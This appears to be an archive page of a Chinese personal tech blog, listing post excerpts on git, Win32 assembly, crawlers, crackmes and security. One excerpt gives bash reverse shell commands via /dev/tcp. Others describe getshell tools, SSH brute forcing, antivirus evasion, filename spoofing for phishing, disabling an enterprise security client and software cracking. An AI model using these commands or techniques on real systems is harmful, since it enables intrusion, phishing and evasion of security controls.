今天换了电脑，我直接把整个仓库从电脑A复制到了电脑B，包括仓库下面的 .git 文件夹。

修改代码后我执行了一下 git add .

出现了一个报错

`1`	`fatal: Invalid path 'D:/Studio/Repo': No such file or directory`

看了下，这不是我上一台电脑的仓库目录吗。

我在网上找了一下，并没有找到一个比较好的解决方案。

想了想，git仓库配置都是在 .git 文件夹下面，下面肯定有配置文件。

直接拿文本搜索工具搜索了一下，我这里使用的 grep

1
2

λ grep -rn "D:/Code" ./.git
./.git/config:6:        worktree = D:/Studio/Repo/theproject

可以看到config里面有这个配置，直接把这个 worktree 改成你现在项目所在的位置即可解决问题

微软商店一直安装不上Intel Media SDK DFP

Fri, 30 Aug 2019 20:11:00 +0000

具体表现为一直安装失败，但是下载进度条一直在，无法去除。

fastjson低于1.2.47 RCE 漏洞复现

Mon, 15 Jul 2019 16:16:12 +0000

这两天爆出了 fastjson 的老洞，复现简单记录一下。

首先使用 spark 搭建一个简易的利用 fastjson 解析 json 的 http server。

Bad owner or permissions on .ssh-config win10问题解决

Mon, 15 Jul 2019 10:35:06 +0000

最近向系统添加了新用户账号后出现了问题，尝试使用私钥登陆服务器，提示了 Bad owner or permissions on .ssh/config 这个报错，就是如题中的问题

gopacket 在 windows 上面遇到的问题

Tue, 09 Jul 2019 22:00:00 +0000

前阵子有个需求是使用 golang 抓包改包，我用到了 gopacket 这个包，但是出了一些小问题。

如何退出天擎

Fri, 05 Jul 2019 14:21:00 +0000

删除 C:\Program Files (x86)\360\360Safe\EntClient\conf\EntBase.dat 即可退出，可用天擎自身的粉碎文件功能进行删除

git彻底删除或变更子模块

Thu, 23 May 2019 14:30:00 +0000

今天遇到一个很怪的问题，我想把我的一个子模块切换到另一个上游，我按照网上的方法删除子模块然后新建后，这个子模块依旧跟踪着我先前的上游。自己摸索了一下，可能方法比较傻，不过是可行的，希望能给大家一些帮助。

湖北校园网PC端拨号算法逆向

Tue, 21 May 2019 13:50:00 +0000

湖北校园网PC端拨号算法逆向

前言

上一文 PPPoE中间人拦截以及校园网突破漫谈我们谈到使用 PPPoE 拦截来获取真实的账号密码。
在这个的基础上，我对我们湖北的客户端进行了逆向，得到了拨号加密算法。

PPPoE中间人拦截以及校园网突破漫谈

Sun, 12 May 2019 16:16:12 +0000

本文首发于PPPoE中间人拦截以及校园网突破漫谈，转载请注明出处。

PPPoE中间人拦截以及校园网突破漫谈

校园生活快结束了，之前还有点未完成的想法，趁着这两天有兴趣搞搞。

此文面向大众是那种在校园内苦受拨号客户端的毒害，但是又想自己动手折腾下的。

vscode打开django项目pylint提示has not object member

Sun, 28 Apr 2019 05:41:57 +0000

vscode 打开 django 项目提示 has not “object” member 是因为 Django 动态地将属性添加到所有模型类中，所以 ide 无法解析。

解决方案：

安装 pylint-django

`1`	`pip install -U pylint-django`

启用 pylint-django

打开项目下自动生成的 .vscode 文件夹下的 setting.json 文件，添加下面的配置项。

1
2
3

"python.linting.pylintArgs": [
        "--load-plugins=pylint_django"
    ]

从客户端取到浏览器返回的oauth凭证

Fri, 26 Apr 2019 10:14:33 +0000

这个随便记录一下，也是朋友问我的一个问题。

在网上找了下，没找到相关的，用英文也搜索了一下，可能我的关键词没找对，找了一会没找到。

想到以前用过的rclone也是用的这样的方式，去看了下相关部分源码。

解决方案是本地搭建一个 webserver 用来获取凭证，然后客户端就能拿到了。

打造一个壁纸爬虫来爬你的老婆

Wed, 13 Mar 2019 07:07:57 +0000

好久没写东西了，随便水一篇文，也是比较简单的东西

可能每个喜欢二次元的人都有自己的老婆或者老公吧，之前在朋友那里看到了一个壁纸网站wall.alphacoders.com，要是我想要亚丝娜的壁纸，只需要搜索她的英文名Asuna即可看到一千多张有关亚丝娜的壁纸。壁纸收集爱好者肯定就和我一样想把它们给下载到自己的电脑上幻灯片当作壁纸了，当然手工下载是不可能的，必须写下爬虫，分析下壁纸下载流程。

请求分析

首先我们F12打开开发者工具，在一张图上找到下载

我们在开发者工具里面取元素，并没有看到下载链接，说明下载链接并没有包含在原始html中，但是点击是可以下载的，并且可以看到整个页面并没有进行刷新，判断是一个ajax请求，直接点进XHR，然后再次点击下载链接可以看到请求。

可以看到这个请求返回了一个链接，我们直接访问链接，发现是可以下载的，说明这就是下载链接了，那么这个链接是怎么来的呢？

我们看看请求，这个post请求里面有一些参数，我们先不去考虑这些参数怎么来的，我们先模拟一下请求看看请求Header里面有没有什么东西是必须的，这里直接上postman或者curl都可以，如果你的机器上面安装了curl我推荐用这个，因为Chrome开发者工具，直接可以在请求上右键Copy as cURL，直接可以帮你复制出curl命令，我这里复制出来是这样的

curl "https://wall.alphacoders.com/get_download_link.php" -H "Pragma: no-cache" -H "Origin: https://wall.alphacoders.com" -H "Accept-Encoding: gzip, deflate, br" -H "Accept-Language: zh-CN,zh;q=0.9" -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" -H "Accept: */*" -H "Cache-Control: no-cache" -H "X-Requested-With: XMLHttpRequest" -H "Cookie: __cfduid=d7ec945393d1b5ef3c28d4c9d12ef9fb11552315444; cookieconsent_status=allow; wa_session=1eogv8ehgn3itq5g4g8hfsducpkm9lbu46q893vrkhph3ued4rm89gvk7ck4fdg9k73cmrcdesoqj4crm1575vj3lfid9e67fpis661" -H "Connection: keep-alive" -H "Referer: https://wall.alphacoders.com/search.php?search=Asuna" --data "wallpaper_id=533007^&type=png^&server=images8^&user_id=79150" --compressed

我们先去掉不必要的东西 curl "https://wall.alphacoders.com/get_download_link.php" --data "wallpaper_id=533007&type=png&server=images8&user_id=79150" ，直接执行，发现可以获取到地址，所以现在要考虑的只有这些参数是怎么来的了，下面我同样放一张postman的图，可以看到是同样的可以获取到下载链接

这些参数我们从两方面考虑，一是用js算出来的，一个就是在html中存在的。

我们首先在html里找找看有没有。

通过关键字搜索页面html，我们可以找到每一张图都有一串类似于下面的属性

`1`	`data-id="533007" data-type="png" data-server="images8" data-user-id="79150"`

和上面的post参数是一一对应的。

所以爬取思路就出来了。

教程视频如何压制体积更小

Wed, 07 Nov 2018 20:46:00 +0000

录制完了教程视频，如何压制会在不影响观看的情况下，使得到的视频体积较小呢？

windows中的软链接硬链接等

Fri, 21 Sep 2018 07:55:11 +0000

学校嘛，有些时候还是得逆逆上网客户端啥的，并且学校的不少工作，这Windows的需求还是挺强的，之前Win10的体验并不是太好，不过时隔这么久，打算从7升级到10了，恰好系统也该换了。

首先是命令行的关注，在家里使用了太久的marjaro，逐渐转为开发，以前对windows的命令行不关注也变为关注了，PowerShell安装了scoop，可以一键安装不少工具了，但是有一个痛点就是，以前对用户目录不关注，但是linux用久了反而觉得用户目录好用挖，我想在在命令行下切到我快捷方式指向的目录，但是是不行的，然后了解了一下这方面，就像是linux下的软链接硬链接一样。

使用PowerShell

软链接

`1`	`New-Item -ItemType SymbolicLink -Path C:\\image -Target C:\\source.txt`

硬链接

`1`	`New-Item -ItemType HardLink -Path C:\\image.txt -Target C:\\source.txt`

Junction

windows中文件与文件夹是完全不同的两种类型，创建文件夹链接不可以使用 HardLink ，但是可以使用 Junction

`1`	`New-Item -ItemType Junction -Path C:\\test\_image -Target C:\\test\_source`

虽然powershell可以建立，但是命令还是很繁琐，cmd下有个工具mklink

使用CMD

cmd下有个好用的工具mklink

C:\\>mklink

创建符号链接。
MKLINK \[\[/D\] | \[/H\] |\[/J\]\] Link Target
    /D 创建目录符号链接。默认为文件符号链接。
    /H 创建硬链接而非符号链接。
    /J 创建目录链接。
    Link 指定新的符号链接名称。
    Target 指定新链接引用的路径（绝对或相对）。

软链接和硬链接的区别

其实这部分和linux中的是差不多的

拉勾抓职位简单小爬虫

Tue, 11 Sep 2018 04:12:38 +0000

花了十来分钟写了个这个小爬虫，目的就是想能够方便一点寻找职位，并且大四了，没有工作和实习很慌啊！

爬虫不具有扩展性，自己随手写的，改掉里面的 keyword 和 region 即可爬行所有的招聘，刚开始测试的是5s访问一次，不过还是会被ban，所以改成了20s一次，没有使用多线程和代理池，懒，够用就行了，结果会保存到一个csv文件里面，用excel打开即可。

直接上代码：

import requests
import urllib.parse
import json
import time
import csv


def main():
    keyword = '逆向'
    region = '全国'
    headers = {
        'Accept': 'application/json, text/javascript, */*; q=0.01',
        'Accept-Encoding': 'gzip, deflate, br',
        'Accept-Language': 'zh-CN,zh;q=0.9',
        'Cache-Control': 'no-cache',
        'Connection': 'keep-alive',
        'Content-Length': '37',
        'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
        'Host': 'www.lagou.com',
        'Origin': 'https://www.lagou.com',
        'Pragma': 'no-cache',
        'Referer': 'https://www.lagou.com/jobs/list_%s?city=%s' % (urllib.parse.quote(keyword), urllib.parse.quote(region)),
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.81 Safari/537.36',
        'X-Anit-Forge-Code': '0',
        'X-Anit-Forge-Token': 'None',
        'X-Requested-With': 'XMLHttpRequest',
    }
    data = {
        'pn': 1,
        'kd': keyword,
    }

    total_count = 1
    pn = 1
    jobjson = []

    while 1:
        if total_count <= 0:
            break
        data['pn'] = pn
        lagou_reverse_search = requests.post("https://www.lagou.com/jobs/positionAjax.json?needAddtionalResult=false", headers=headers, data=data)
        datajson = json.loads(lagou_reverse_search.text)
        print('page %d get finish' % pn)
        if pn == 1:
            total_count = int(datajson['content']['positionResult']['totalCount'])
        jobjson += [{'positionName': j['positionName'], 'salary': j['salary'], 'workYear': j['workYear'], 'education': j['education'], 'city': j['city'], 'industryField': j['industryField'], 'companyShortName': j['companyShortName'], 'financeStage': j['financeStage']} for j in datajson['content']['positionResult']['result']]
        total_count -= 15
        pn += 1
        time.sleep(20)

    csv_header = ['positionName', 'salary', 'workYear', 'education', 'city', 'industryField', 'companyShortName', 'financeStage']
    with open('job.csv','w') as f:
        f_csv = csv.DictWriter(f, csv_header)
        f_csv.writeheader()
        f_csv.writerows(jobjson)


if __name__ == '__main__':
    main()

ajax动态加载的，直接打开调试工具看XHR即可。

WIP- GTD利器Google Calendar与Hexo博客的结合

Sat, 08 Sep 2018 02:44:25 +0000

等待 hexo-theme-next 主题官方仓库的合并。以后再写，先挖个坑。

使用Travis CI自动部署博客到github pages和coding pages

Fri, 07 Sep 2018 19:25:20 +0000

每次换系统或换电脑之后重新部署博客总是很苦恼？想像jekyll那样，一次性部署完成后，以后本地不用安装环境直接 git push 就能生成博客？那我推荐你应该使用使用 Travis CI了。

这篇文章我们来讲讲如何利用 Travis CI把你 push 上去的博客源文件直接生成可访问的站点，并且同步部署到 github pages 和 coding pages 。

这篇文章假设你已经对这些采用 git 版本控制系统的静态博客托管服务有所了解，并且知道怎么去简单的使用 git 以及了解 hexo 写博客发布到这些 pages 服务的流程。因此本文会写的较为简略，旨在指出关键的地方以及我遇到的问题、问题产生的原因和提供的解决方案，希望能够帮助到大家。

Kali Linux Xfce版美化虚拟机镜像

Tue, 04 Sep 2018 10:59:43 +0000

起因

这两天来学校把硬盘基本全部清空了，所以以前的虚拟机就需要重新安装了。

Kali 一直用的是 xfce 版本，至于为什么用这个版本，是因为我感觉 gnome3 在虚拟机上表现欠佳。当然，默认的 gnome3 看起来还是不错的，而 xfce 默认的就看起来很寒碜了

默认的 Kali-Xfce 是这个样子的

win10 1803版本unable to start ssh-agent service, error 1058

Sat, 01 Sep 2018 16:26:11 +0000

PowerShell安装了pshazz或者posh-git，但是打开的时候提示 unable to start ssh-agent service, error :1058

反弹shell以及端口转发的方法收集

Thu, 23 Aug 2018 16:03:29 +0000

Bash

`1`	`bash -i >& /dev/tcp/192.168.1.142/80 0>&1`

exec 5<>/dev/tcp/192.168.1.142/80
cat <&5 | while read line; do $line 2>&5 >&5; done 
# or:
while read line 0<&5; do $line 2>&5 >&5; done

为纸小墨一键创建md文件

Wed, 22 Aug 2018 18:17:23 +0000

用法：

1
2

python the.py file_name [article_title] [author_id]
# []括起来为可选项

一键git push脚本(python版)

Wed, 22 Aug 2018 17:34:24 +0000

有时候感觉项目push上去每次都敲那么几个命令挺烦人的，可以用这个脚本来代替手工

纸小墨ink简洁主题story爱上你的故事

Wed, 22 Aug 2018 15:36:42 +0000

主题介绍

为纸小墨写的一款主题,该主题移植自Yumoe

github地址：ink-theme-story

Demo

ink-theme-story

git忽略对已入库文件的修改

Wed, 22 Aug 2018 15:18:42 +0000

项目开发过程中，会遇到本地配置文件每个开发人员不同的情况，但如果遇到类似数据库配置这种最终需要加入 git 版本控制的配置，则会陷入两难境地。要么不跟踪，要么有人提交后其他人同步下来必须手动修改，非常麻烦。其实，对于已被纳入版本管理的文件，git 也提供了很好的解决办法。

blogger添加代码高亮

Sat, 26 May 2018 22:11:00 +0000

blogger(blogspot)自带的是没有代码高亮的，我们可以用下面的方法添加代码高亮。

64位通用寄存器及其一般作用

Wed, 23 May 2018 20:24:00 +0000

CVE-2018-8120 Windows权限提升

Fri, 18 May 2018 19:55:06 +0000

来源 : bigric3/cve-2018-8120

Detail : cve-2018-8120-analysis-and-exploit

补番完了来自深渊

Fri, 27 Apr 2018 21:31:55 +0000

这两天把来自深渊补番完了，治愈系？不是，看起来画风确实是这样，但是细看之下其实能感受到故事所描述的残忍与黑暗。

160CrackMe第十九Brad Soblesky.2

Fri, 02 Mar 2018 21:42:41 +0000

MyBio小隐本记注册破解

Wed, 28 Feb 2018 21:40:44 +0000

既然开始了，就把这一个系列的都破了算了，这次主角小隐本记MyBio

WDTP注册破解

Mon, 26 Feb 2018 20:34:50 +0000

今天来讲讲WDTP这个软件的破解。

简介

WDTP 不止是一款开源免费的 GUI 桌面单机版静态网站生成器和简单方便的前端开发工具，更是一款跨平台的集笔记、个人知识管理、写作/创作、博客/网站内容与样式管理等功能于一体的多合一内容处理/管理器，同时还是一款高度追求用户体验与计算机文本编写良好感受的 Markdown 编辑器。该软件研发的核心思想是：简洁高效、轻灵优雅、先进强悍、操作简单。

对话框和普通窗口工作方式的区别

Tue, 13 Feb 2018 21:59:00 +0000

Win32汇编学习(11)：对话框(2)

Tue, 13 Feb 2018 18:23:00 +0000

我们将进一步学习对话框，探讨如何把对话框当成输入设备。如果您看了前一篇文章，那就会发现这次的例子只有少量的改动，就是把我们的对话框窗口附属到主窗口上。另外，我们还要学习通用对话框的用法。

Win32汇编学习(10)：对话框(1)

Tue, 13 Feb 2018 17:16:00 +0000

现在我们开始学习一些有关GUI编程的有趣的部分：以对话框为主要界面的应用程序。

Win32汇编学习(9)：窗口控件

Mon, 12 Feb 2018 22:49:00 +0000

这次我们将探讨控件，这些控件是我们程序主要的输入输出设备。

Win32汇编学习(8)：菜单

Mon, 12 Feb 2018 20:24:00 +0000

这次我们将在我们的应用程序中加入一个菜单。

FASM学习中的一些表格

Sat, 10 Feb 2018 19:53:00 +0000

Size operator

Registers

Data directives

Conditions(jmp助记符)

Win32汇编学习(7)：鼠标输入消息

Fri, 09 Feb 2018 22:29:19 +0000

这次我们将学习如何在我们的窗口过程函数中处理鼠标按键消息。例子演示了如何等待鼠标左键按下消息，我们将在按下的位置显示一个字符串。

Win32汇编学习(6)：键盘输入消息

Thu, 08 Feb 2018 17:53:59 +0000

这次，我们将要学习WINDOWS程序是如何处理键盘消息的。

Win32汇编学习(5)：绘制文本2

Thu, 08 Feb 2018 15:55:46 +0000

这次我们将学习有关文本的诸多属性如字体和颜色等。

Win32汇编学习(4)：绘制文本

Wed, 07 Feb 2018 17:11:25 +0000

这次，我们将学习如何在窗口的客户区“绘制”字符串。我们还将学习关于“设备环境”的概念。

Win32汇编学习(3)：简单的窗口

Tue, 06 Feb 2018 21:12:50 +0000

这次我们将写一个 Windows 程序，它会在桌面显示一个标准的窗口，以此根据代码来学习如何创建一个简单的窗口。

怎样建立你自己的MASM导入库

Tue, 06 Feb 2018 20:00:49 +0000

by Iczelion （翻译：花心萝卜yqzq@163.net) 9.5.2000

这篇短文是讲述关于建立MASM导入库（import libraries）技巧，我假设你已经知道什么是导入库。在下面，我将集中讲述建立MASM导入库的方法。

win32 汇编学习(2)：消息框

Mon, 05 Feb 2018 17:04:32 +0000

这一次，我们将用汇编语言写一个 Windows 程序，程序运行时将弹出一个消息框并显示"你好，我的第一个Win32汇编程序"。

Win32汇编学习(1)：基本概念

Mon, 05 Feb 2018 13:45:40 +0000

背景知识

Windows 把每一个 Win32 应用程序放到分开的虚拟地址空间中去运行，也就是说每一个应用程序都拥有其相互独立的 4GB 地址空间，当然这倒不是说它们都拥有 4GB 的物理地址空间，而只是说能够在 4GB 的范围内寻址。操作系统将会在应用程序运行时完成 4GB 的虚拟地址和物理内存地址间的转换。这就要求编写应用程序时必须格守 Windows 的规范，否则极易引起内存的保护模式错误。而过去的 Win16 内存模式下，所有的应用程序都运行于同一个 4GB 地址空间，它们可以彼此"看"到别的程序的内容，这极易导致一个应用程序破坏另一个应用程序甚至是操作系统的数据或代码。

win32汇编(ASM)学习资源

Sun, 04 Feb 2018 22:44:06 +0000

一些win32汇编下学习资源与工具收集

Windows进程的内核对象句柄表

Sun, 04 Feb 2018 17:22:00 +0000

当一个进程被初始化时,系统要为它分配一个句柄表。该句柄表只用于内核对象 ,不用于用户对象或GDI对象。

Python SSH爆破以及Python3线程池控制线程数

Sat, 13 Jan 2018 06:37:26 +0000

源自一个朋友的要求，他的要求是只爆破一个ip，结果出来后就停止，如果是爆破多个，完全没必要停止，等他跑完就好

CodeTyphon 跨平台交叉编译的配置

Mon, 01 Jan 2018 21:55:26 +0000

CodeTyphon和Lazarus的关系相当于就是ubuntu和linux的关系

不过CodeTyphon提供了很多一键配置即可使用的交叉编译配置，而Lazarus就比较麻烦了，我也没用Lazarus交叉编译过

首先假设我们交叉编译是在windows编译出linux可执行程序，那么我们需要做的事情大致上分为以下几步：

Lazarus 分体式改成一体式窗口

Mon, 01 Jan 2018 21:54:28 +0000

安装包 anchordocking和Sparta_DockedFormEditor

然后点选保存并重新编译IDE即可

把博客园自己博客皮肤改了下

Thu, 28 Dec 2017 15:25:58 +0000

具体效果看我博客园，或者看原作者frantic1048博客

湖北掌大协议于2017-12-24入土

Sun, 24 Dec 2017 10:50:03 +0000

又好了，，，，能用就行，不管了

湖北e信的掌大协议死过很多次，不过是因为有人盯上了老陈，潜伏在了他的群，自己搞搞其实还是能用

今天却是死的不能再死，不知是不是永久，谨以此文纪念一下

XMind8 Pro版激活序列码与补丁

Fri, 22 Dec 2017 16:50:23 +0000

//通用许可证密钥//

XMind Pro 2013~XMind Pro 8：

湖北掌大协议拨号Python脚本

Fri, 15 Dec 2017 18:04:58 +0000

湖北定制版协议拨号
本来之前我e信账号被加小黑屋就没弄了，没想到又被放出小黑屋了，可以上了
据说1月份换协议，且用且珍惜，另外感谢陈大的项目

size_t和unsigned int区别

Sun, 03 Dec 2017 22:46:00 +0000

size_t和unsigned int有所不同,size_t的取值range是目标平台下最大可能的数组尺寸,一些平台下size_t的范围小于int的正数范围,又或者大于unsigned int.最典型的,在x64下,int还是4,但size_t是8.这意味着你在x64下最大可能开辟的数组尺寸是2^64.如果你使用int或者unsigned int,那么在x64下如果你的代码中全部使用uint作为数组的尺寸标记,那么你就会失去控制 2^32 尺寸以上的数组的机会.虽然现在在x64上开辟一个大于 2^32 大小的连续数组依然是个不大可能的事情,但是……….

“640K内存对于任何人来说都足够了”—-比尔盖茨

链接：https://www.zhihu.com/question/24773728/answer/28920149

windows下使用gvim不支持python3.6问题解决

Tue, 28 Nov 2017 22:29:00 +0000

在用户目录下C:\Users\Administrator\新建vim配置文件夹vimfiles，然后该文件下建立一个文件vimrc

vimrc内容：

`1`	`set pythonthreedll=python36.dll`

但是前提是你的Python文件夹在环境变量PATH内

比如

我装的gvim是的32位的，那么python也需要是32位环境变量配置PATH中存在Python36的安装目录

windows下使用LibreOffice的体验

Mon, 20 Nov 2017 19:33:00 +0000

我在家里一般是使用Ubuntu，学校这个网络需要e信拨号，还是只能用Windows主用，以前我在Ubuntu一直使用的是LibreOffice，这次看见学校电脑很乱了就重装了系统，MSOffice真的是懒得找和谐安装了，就用了用LibreOffice

说实话，体验并不是很好，打开Word，Excel，PPT，只要是文件稍微大一点就需要等待很长时间打开，原生格式ODF（Open Document Format）表现要好点，不过体验和简洁度上我还是觉得LibreOffice比较好

e信与酸酸结合开wifi使用路由器上网

Sun, 12 Nov 2017 11:21:43 +0000

关于e信“正常情况下”使用路由器网上是有方法的，入户线插上lan，电脑接lan拨号我想要说的是连接e信后使用路由器上网，并且是绝对正常的思维

golang解析json配置文件

Wed, 25 Oct 2017 13:22:55 +0000

突然想起来自己以前写的，golang写的一个简易的json解析器，分享一下

安装

`1`	`go get github.com/akkuman/parseConfig`

使用说明

dll注入到指定进程

Tue, 24 Oct 2017 13:21:30 +0000

talk is cheap,show me code 代码有详细注释，文章底部提示了一些坑

从右向左覆盖实现恶意软件扩展名欺骗

Tue, 24 Oct 2017 13:20:07 +0000

这个技术虽然老掉牙，但在网络钓鱼中非常好用

静态博客阅读次数与评论解决方案

Mon, 23 Oct 2017 13:18:40 +0000

基于LeanCloud的文章阅读次数统计插件 https://github.com/Weic96/LeanStatistics.js

基于LeanCloud的文章评论 https://github.com/xCss/Valine

Tuts4you注册问题解码

Sun, 24 Sep 2017 16:19:00 +0000

只说一个，是八进制,下面是解码脚本环境python3

一个查表置换的CM

Wed, 20 Sep 2017 01:01:15 +0000

说实话，今天被自己蠢哭了

因为看多了一个字符，以为是输入字符变形后的base64编码，也怪自己没大致看过base64汇编形式，把base64跟完了用py实现完算法才意思到是base64，这是题外话

一个涉及到浮点寄存器的CM

Mon, 18 Sep 2017 20:56:04 +0000

这次找小伙伴要了他的一个CM，怎么说呢，这CM让我学到了不少，其实搞出来后感觉不难，就是有不少FPU浮点相关的指令和FPU寄存器完全没学过，查了不少资料，学到了很多

160CrackMe练手 002

Sat, 16 Sep 2017 14:29:51 +0000

首先查壳无壳，输入伪码报错，根据报错od查找字符串，定位到错误代码附近，可以看到有个条件跳转，改掉就可以爆破，接下来分析下注册算法，我们周围看看，从最近几个call看，并没有我们输入的用户名在堆栈中出现，那我们直接从这个函数开头往下找，一般一个函数开头是push ebp一段代码用来提升堆栈，找到后我们往下找，注意堆栈，直到我们输入的字符出现，开始细心往下跟

160CrackMe练手 001

Fri, 15 Sep 2017 16:16:12 +0800

peid判断无壳，打开输入伪码注册，根据报错od查找字符串
接下来定位到字符串周边代码

Windows 环境下 32 位汇编语言程序设计笔记 - 基础篇

Thu, 14 Sep 2017 22:09:28 +0000

内存模式

1
2
3

  .386
  .model flat,stdcall ;子程序调用模式，win32中只能用stdcall，因为win32api调用使用的这个
  option casemap:none ;定义了程序中变量和子程序名是否对大小写敏感，win32api名称区分大小写，所以只需要记住这个定式

如何自己烧制全文RSS（打造自己RSS源）

Thu, 07 Sep 2017 19:15:00 +0000

烧制RSS源

switch反汇编(C语言)

Thu, 07 Sep 2017 00:25:09 +0000

在分支较多的时候，switch的效率比if高，在反汇编中我们即可看到效率高的原因

最最简单的c语言函数汇编分析

Wed, 06 Sep 2017 14:18:26 +0000

0x01 环境

xp+vc6.0

0x02 代码

int plus(int x, int y)
{
	return 0;
}

Golang模拟客户端POST表单功能文件上传

Fri, 07 Jul 2017 13:04:50 +0000

客户端通过multipart.Write把文件的文本流写入一个缓存中，然后调用http的Post方法把缓存传到服务器。

为静态博客生成器WDTP移植了一款美美哒主题

Tue, 13 Jun 2017 13:08:00 +0000

前言

关于这个主题的移植后公布，我已经联系了主题作者并取得同意，这个主题是一夜涕所写的Sgreen，预览图见下

关于msf反弹后门的免杀Tips

Thu, 20 Apr 2017 13:09:24 +0000

msf是一个很强大的工具，我经常会在渗透用它来反弹shell，不过它生成的反弹后门会被不少杀软kill，这篇文章只是讲讲我在msf中一个简单的免杀小技巧

自己网盘的页面生成器(私用公开-Golang)

Thu, 13 Apr 2017 16:41:34 +0000

虽说我的网盘（exm，也许页面确实丑了点，不过页面生成的样式你自己可以改）美工已经被乱刀砍死，但是还是有小伙伴问我是怎么搭建的

关于搭建

这个真没什么好说的，vps我只安装了nginx，然后配置域名指向到我的同步目录，然后用其他工具同步上去就行了（关于问自己手动同步麻烦的，其实并不麻烦，有很多好用的软件，本人用的Resilio Sync）

百度搜索引擎取真实地址-python代码

Tue, 11 Apr 2017 12:49:06 +0000

代码

def parseBaidu(keyword, pagenum):
    keywordsBaseURL = 'https://www.baidu.com/s?wd=' + str(quote(keyword)) + '&oq=' + str(quote(keyword)) + '&ie=utf-8' + '&pn='
    pnum = 0
    while pnum <= int(pagenum):
        baseURL = keywordsBaseURL + str(pnum*10)
        try:
            request = requests.get(baseURL, headers=headers)
            soup = BeautifulSoup(request.text, "html.parser")
            for a in soup.select('div.c-container > h3 > a'):
                url = requests.get(a['href'], headers=headers).url
                yield url
        except:
            yield None
        finally:
            pnum += 1

phpcms9-6-0 一键getshell工具

Mon, 10 Apr 2017 13:13:29 +0000

介绍

一键化python 1.py http://xxx.com,如果是批量直接运行py文件即可

待办

[] 加入对有验证码phpcms网站的支持
[] 加入批量(已完成)

抓取当前登录用户登录密码的工具：mimipenguin

Sun, 02 Apr 2017 10:03:29 +0000

Github项目地址

前有Mimikatz，今有mimipenguin，近日国外安全研究员huntergregal发布了工具mimipenguin，一款Linux下的密码抓取神器，可以说弥补了Linux下密码抓取的空缺。编写思路来自流行的windows密码抓取神器mimikatz

推荐一个静态博客兼笔记的工具：WDTP

Sat, 01 Apr 2017 20:27:51 +0000

简介

WDTP（山湖录）不止是一款开源免费的GUI桌面单机版静态网站生成器和简单方便的前端开发工具，更是一款跨平台的集笔记、录音、个人知识管理、写作/创作、博客/网站内容与样式管理等功能于一体的多合一内容处理/管理器，同时还是一款高度追求用户体验的Markdown文本编辑器和一款方便强大的录音机。本软件研发的核心思想是：简洁高效、轻灵优雅、先进强悍、操作简单。

iis6-0 cve-2017-7269 批量验证脚本

Sat, 01 Apr 2017 12:44:52 +0000

代码地址

技术的热门度曲线

Sun, 12 Mar 2017 13:34:01 +0000

全球最大的 IT 咨询公司高德纳（Gartner），有一个"技术热门度曲线“模型（Gartner Hype Cycle）。

该模型认为，一门技术的发展要经历五个阶段。

逆向学习笔记（2）-这是代码还是数据

Fri, 10 Mar 2017 23:38:22 +0000

以下的ide为CodeBlocks，编译器采用的GCC，系统为win10 64bit,在不同编译器和环境下汇编代码可能不同

逆向学习笔记（1）-为什么代码不停地循环运行

Thu, 09 Mar 2017 16:33:07 +0000

对于下面这段c语言代码会一直不停地循环，为什么呢？

#include<stdio.h>

void HelloWorld()
{
	int i = 0;
	int a[] = {1,2,3,4,5,6,7,8,9,10};
	for(i=0; i<=10; i++)
	{
		a[i] = 0;
		printf("Hello World!\n");
	}
}

int main(int argc, char* argv[])
{
	HelloWorld();
	getchar();
	return 0;
}

360搜索引擎取真实地址-python代码

Wed, 08 Mar 2017 21:12:59 +0000

还是个比较简单的，不像百度有加密算法

分析

`1`	`http://www.so.com/link?url=http%3A%2F%2Fedu.sd.chinamobile.com%2Findex%2Fnews.do%3Faction%3DnoticeDetail%26id%3D22452&q=inurl%3Anews.do&ts=1488978912&t=89c5361a44fe3f52931d25c6de262bb&src=haosou`

网址是上面这个样子，没加密直接取就好了，去掉头http://www.so.com/link?url=和尾&q=一直到末尾的部分，剩下的就可以吃了

s2-045漏洞批量检测工具

Tue, 07 Mar 2017 21:28:53 +0000

今天晚上看老铁们在群里就这个st2-045漏洞讨论得火热，个人不太喜欢日站，本来想直接写个批量挂马的东西，但是想想还是算了，如果你有兴趣，改改也很容易，反正不关我的事

测试图

Windows FindFirstFile利用

Sat, 04 Mar 2017 15:16:27 +0000

目前大多数程序都会对上传的文件名加入时间戳等字符再进行MD5，然后下载文件的时候通过保存在数据库里的文件ID读取文件路径，一样也实现了文件下载，这样我们就无法直接得到我们上传的webshell文件路径，但是当在Windows下时，我们只需要知道文件所在目录，然后利用Windows的特性就可以访问到文件，这是因为Windows在搜索文件的时候使用了FindFirstFile这一个winapi函数，该函数到一个文件夹(包含子文件夹)去搜索指定文件。

利用方法很简单，我们只要将文件名不可知部分之后的字符用"<“或者”>“代替即可，不过要注意一点是，只使用一个”<“或者”>“则只能代表一个字符，如果文件名是12345或者更长，这时候请求"1<“或者"1>“都是访问不到文件的，需要"1«“才能访问到，代表继续往下搜索，有点像Windows的短文件名，这样我们还可以通过这个方式来爆破目录文件了。

wqCms6.0在IIS6的Getshell

Wed, 22 Feb 2017 21:20:55 +0000

2017-02-15发布

一、漏洞利用点

漏洞文件:admin_UploadDataHandler.ashx 自定义构造上传点

otunnel：一个和lcx差不多的端口转发的工具

Wed, 15 Feb 2017 20:58:16 +0000

这是一个采用Golang编写的和lcx差不多的端口转发的工具，用来突破内网环境

项目地址

ooclab/otunnel

Golang初练手-多线程网站路径爆破

Wed, 08 Feb 2017 01:25:48 +0000

以前用Python写过这个工具，前两天看了golang的基础，就想着用这个语言把这个工具重写一遍

先放张图

Golang踩坑录两种方式来读取文件一行所导致的问题

Sat, 04 Feb 2017 22:55:15 +0000

前两天零零碎碎看完了golang的基础，想着找个小项目练练手，可是出现了一个十分棘手的问题我要做的东西是网站路径爆破所以我会从文本字典中把一行行路径读取然后与域名拼接，但是我在跑起程序后出现了问题

笔记带给我们是真实的知识增长么？你需要好好考虑了

Sat, 21 Jan 2017 16:54:38 +0000

